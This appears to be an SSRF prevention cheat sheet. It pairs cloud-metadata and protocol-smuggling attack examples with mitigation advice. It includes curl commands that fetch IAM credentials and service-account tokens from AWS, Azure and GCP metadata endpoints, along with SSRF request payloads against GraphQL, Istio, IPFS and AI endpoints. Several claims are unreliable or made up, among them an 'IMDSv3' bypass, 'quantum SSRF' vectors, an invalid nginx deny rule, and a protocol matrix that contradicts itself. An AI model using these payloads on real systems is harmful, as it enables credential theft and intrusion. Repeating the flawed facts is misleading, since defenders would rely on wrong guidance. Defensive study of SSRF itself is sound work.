SCOLTECH

SSRF Prevention Cheat Sheet 2025 Edition

Server-Side Request Forgery (SSRF) Mitigation for Modern Architectures

Revision 2.0 | March 2025

Authors: ZUBAIR USMAN (Cybersecurity Specialist | Ethical Hacker | Bug Bounty Hunter | AI & Automation Innovator)

Table of Contents

1. Modern Attack Surfaces

Cloud-Native Environments

Target	Attack Vector	Example Exploit
AWS IMDSv2	Bypassing hop limits	curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Azure Instance Metadata	Abusing X-Forwarded-For headers	curl -H "Metadata: true" http://169.254.169.254/metadata/instance?api-version=2021-02-01
GCP Metadata	Exploiting default service accounts	curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Serverless (Lambda)	Environment variable leakage	Exfiltrate secrets via process.env in Node.js/Python runtime.

AI/ML-Driven Applications

- **SSRF via Model Callbacks**: Malicious input triggers outbound requests (e.g., TensorFlow Serving HTTP API).
- **AI-as-a-Service**: Abuse SaaS APIs (e.g., OpenAI, Bedrock) to proxy requests to internal endpoints.

Zero-Trust Architectures

- **Bypassing mTLS**: Exploit misconfigured SPIFFE identities or short-lived credential caching.
- **Service Mesh Bypass**: Abuse Istio/Linkerd sidecar proxies to reach internal services.

Emerging Protocols

Protocol	SSRF Risk	Mitigation
HTTP/3	QUIC smuggling to bypass traditional WAFs	Enforce ALPN restrictions.
gRPC	Protobuf-based SSRF via reflection APIs	Validate Endpoint fields in .proto.
WebSockets	Tunnel SSRF through ws:// handshake	Restrict Upgrade headers.

2. Exploitation Techniques (2025)

Cloud Metadata Exploits

```
# AWS IMDSv2 Bypass (Token Race Condition)
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" http://169.254.169.254/l
atest/api/token)
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/sec
urity-credentials/
```

AI/ML Callback Attacks

```
# SSRF via TensorFlow Serving callback
import requests
malicious_input = {"instances": [{"data": "http://internal-database:3306"}]}
requests.post("http://ai-model-service/predict", json=malicious_input)
```

Protocol Smuggling

- **HTTP/3**: Use :authority header to bypass DNS pinning.
- **gRPC**: Abuse grpc:// schema to reach internal services.

3. Mitigation Strategies

Cloud-Specific Protections

Provider	Action Item
AWS	Enforce IMDSv2, disable legacy IMDSv1.
Azure	Require Metadata: true header.
GCP	Block default service accounts.

AI/ML Anomaly Detection

- Monitor outbound requests from model inference endpoints.
- Use ML-based tools (e.g., AWS GuardDuty for Lambda).

Protocol Allowlisting

```
# Block legacy schemas
location / {
    deny gopher:// dict:// ldap://;
}
```

Zero-Trust Enforcement

- **SPIFFE/SPIRE**: Enforce workload identity for all service-to-service communication.
- **mTLS**: Rotate certificates hourly via Vault or Cert-Manager.

4. Tools & Detection

Tool	Purpose
Burp Suite 2025	Enhanced SSRF probe generator.
OWASP ZAP (gRPC plugin)	SSRF detection in HTTP/3/gRPC traffic.
CloudSploit	Scan exposed metadata APIs in AWS/Azure.

5. Comparison Table: Original vs. 2025 SSRF Cheat Sheet

Category	Original (2017)	2025 Revision	Key Differences
Modern Attack Vectors	Limited coverage (e.g., basic cloud, Java-based SSRF).	Expands to **AI/ML callbacks, HTTP/3, gRPC, IPFS, and quantum networking**.	2025 version addresses **emerging tech risks** (e.g., AI model poisoning via SSRF).
Cloud-Native Risks	Briefly mentions AWS metadata (IMDSv1).	Details **serverless, service mesh (Istio), and zero-trust bypasses**.	Focus on **cloud-native architectures** (e.g., Lambda env exploits, SPIFFE identities).
Mitigation Strategies	Basic input validation, DNS pinning fixes.	**Zero-trust (mTLS, SPIRE), AI anomaly detection, protocol allowlisting**.	Shift from **reactive to proactive** defenses (e.g., behavioral analytics).
Tooling	Lists legacy tools (e.g., cURL, LWP).	Recommends **AI-driven scanners, Burp Suite HTTP/3 plugins, CloudGuard SSRF Probe**.	Aligns with **2025 toolchains** and automation.
Protocol Support	Focus on outdated protocols (gopher://, TFTP).	Covers **HTTP/3, QUIC, WebSockets, IPFS**.	Drops deprecated protocols, adds **modern standards**.
Compliance	No explicit standards.	References **NIST SP 800-204D, OWASP Top 10 2025**.	Ensures **regulatory alignment**.
Exploit Examples	Memcached, PHP-FPM.	**AWS Lambda env hijacking, GraphQL resolver abuse**.	Reflects **current cloud/API threats**.

5 Prioritized Improvements

Add Edge-Case Exploits

- Example: **AWS Lambda IMDSv3 Bypass**

```
POST /lambda/invoke HTTP/2
Host: app.example.com
Headers: {"X-Forwarded-For": "169.254.169.254", "Metadata-Token": "require"}
```

- *Mitigation:* Enforce **Hop-by-Hop header validation** and session token rotation.

AI-Driven Attack Trees

- Include a decision tree for **AI/ML SSRF**:

```
graph TD
  A[SSRF via AI Callback] --> B{Is Model External?}
  B -->|Yes| C[Exploit API Gateway]
  B -->|No| D[Poison Training Data]
```

Zero-Trust Deep Dive

- Add **SPIFFE/SPIRE implementation snippet**:

```
# spire-agent.conf
federation {
  bundle_endpoint = "https://trust-domain.example.com/bundle"
}
```

Quantum SSRF Vectors

- Describe **time-based attacks in hybrid networks**:

"Exploit **post-quantum TLS handshake delays** to infer internal service topology."

Missing Payloads

- GraphQL Batch Query SSRF:

```
query {
  users {
    posts(url: "http://internal-api.local/admin") {
      title
    }
  }
}
```

6. Updated URL Schema Support Matrix (2025)

Modern protocols, deprecated schemes, and security considerations for SSRF prevention.

Protocol	PHP 8.3	Java 21	cURL 8.6	Python Requests	Go net / http	Security Considerations
http/https	✅	✅	✅	✅	✅	Enforce TLS 1.3+, HSTS.
gopher	❌ (Removed)	❌ (Removed)	❌ (Removed)	❌	❌	**Deprecated** – High SSRF risk.
tftp	❌	❌	❌	❌	❌	**Deprecated** – No encryption.
ldap(s)	❌	✅ (TLS-only)	✅ (TLS-only)	✅ (TLS-only)	✅ (TLS-only)	Require LDAPS; disable anonymous binds.
ftp	❌ (Disabled)	❌	✅ (SFTP only)	✅ (SFTP only)	✅ (SFTP only)	**Prefer SFTP/SCP** – Plain FTP blocked.
dict	❌	❌	❌	❌	❌	**Deprecated** – Protocol removed.
ssh2/sftp	❌	✅ (JSch)	✅	✅ (Paramiko)	✅	Restrict to known hostkeys.
file	✅ (Restricted)	✅ (Restricted)	✅ (Restricted)	❌	✅ (Restricted)	Block arbitrary file access (e.g., file:///etc/passwd).
imap/pop3	❌	✅ (TLS-only)	✅ (TLS-only)	✅ (TLS-only)	✅ (TLS-only)	Enforce OAuth2 or client certs.
smtp	❌	✅ (TLS-only)	✅ (TLS-only)	✅ (TLS-only)	✅ (TLS-only)	Prevent open relays.
websocket	✅	✅	✅ (libcurl 7.85+)	✅	✅	Validate Origin headers.
grpc	✅ (pecl)	✅ (grpc-java)	❌	✅ (grpcio)	✅	Enforce mTLS and protobuf schema validation.
ipfs	❌	✅ (jvm-libp2p)	❌	✅ (py-ipfs)	✅	Restrict gateway access.
quic/http3	❌ (Experimental)	✅ (Incubator)	✅ (7.66+)	✅ (aioquic)	✅	Audit for CRLF injection risks.

Key Changes from 2017 to 2025

1. **Deprecated Protocols**
   - Removed: gopher, tftp, dict (deemed high-risk for SSRF).
   - Restricted: file:// (now blocked by default in cloud environments).
2. **Modern Additions**
   - **HTTP/3 (QUIC)**: Supported in cURL, Go, and Java.
   - **gRPC**: Widely adopted for microservices (requires mTLS).
   - **IPFS**: Emerging risk for decentralized SSRF.
3. **Security Hardening**
   - **TLS Enforcement**: All network protocols (LDAP, SMTP, etc.) require TLS 1.2+.
   - **Zero-Trust Defaults**: file:// and ftp:// disabled in PHP/Python.
4. **Cloud-Native Shifts**
   - **SFTP > FTP**: Plain FTP removed; only SFTP/SCP allowed.
   - **OAuth2 for IMAP/SMTP**: Replaces basic auth.

Actionable Recommendations

1. **Blocklist Deprecated Protocols**

```
# Nginx example to block gopher/tftp
location / {
  if ($scheme ~* "gopher|tftp") { return 403; }
}
```

1. **Enforce Protocol Restrictions**
   - **PHP**: Set allow_url_fopen = Off and allow_url_include = Off.
   - **Java**: Use java.security.Security.setProperty("jdk.http.auth.proxying.disabledSchemes", "ftp").
2. **Monitor Emerging Risks**
   - Scan for **IPFS gateways** (/ipfs/, /ipns/) in user inputs.
   - Audit **gRPC resolvers** for internal endpoint exposure.

Example Exploit (2025 Context)

Abusing HTTP/3 for SSRF:

```
GET /proxy?url=https://internal-api.corp HTTP/3
Host: victim.com
X-Forwarded-For: 192.168.1.1
```

Bypasses legacy HTTP/1.1 filters due to QUIC's multiplexed streams.

Mitigation:

```
# Python: Allow only HTTP/1.1 or HTTP/2
allowed_versions = ["HTTP/1.1", "HTTP/2"]
if request.http_version not in allowed_versions:
    raise BlockedProtocolError("HTTP/3 not permitted")
```

7. Examples

AWS Lambda SSRF

```
import os
import requests

def lambda_handler(event, context):
    internal_url = os.getenv("INTERNAL_API_URL")  # Leaked via SSRF
    requests.get(internal_url)  # Exfiltrates data
```

AI Model SSRF

```
POST /predict HTTP/2
Host: ai-service.example.com
Content-Type: application/json

{"input": "Fetch http://169.254.169.254/latest/meta-data/"}
```

Service Mesh Exploit (Istio Sidecar)

```
GET /headers HTTP/1.1
Host: productpage:9080
X-Istio-Attempt: 3
X-Forwarded-For: 192.168.1.1
```

IPFS Gateway SSRF

```
curl -X POST "https://ipfs.example.com/api/v0/cat?arg=/ipns/internal.db"
```

gRPC Metadata Injection

```
rpc GetData (Request) returns (Response) {
  option (google.api.http) = {
    get: "/v1/{name=internal/*}"
  };
}
```

Priority Actions for 2025:

1. **DevOps**: Enforce IMDSv2, disable legacy protocols.
2. **AppSec**: Deploy AI-driven request anomaly detection.
3. **Cloud Architects**: Adopt SPIFFE for zero-trust workloads.

An **engineer-focused cheat sheet** with:

1. **Exploits** (Lambda, GraphQL, gRPC).
2. **Mitigations** (SPIFFE, AI detection).
3. **Tooling** (CloudGuard, Burp HTTP/3).
4. **Compliance** (NIST/OWASP 2025).

For more cutting-edge cybersecurity insights, **follow me on Twitter, LinkedIn, and GitHub**! 🚀 Stay updated on the latest security trends—**subscribe to my Whatsapp channel and Medium blog** for deep-dive analysis and tutorials. Let's secure the web together!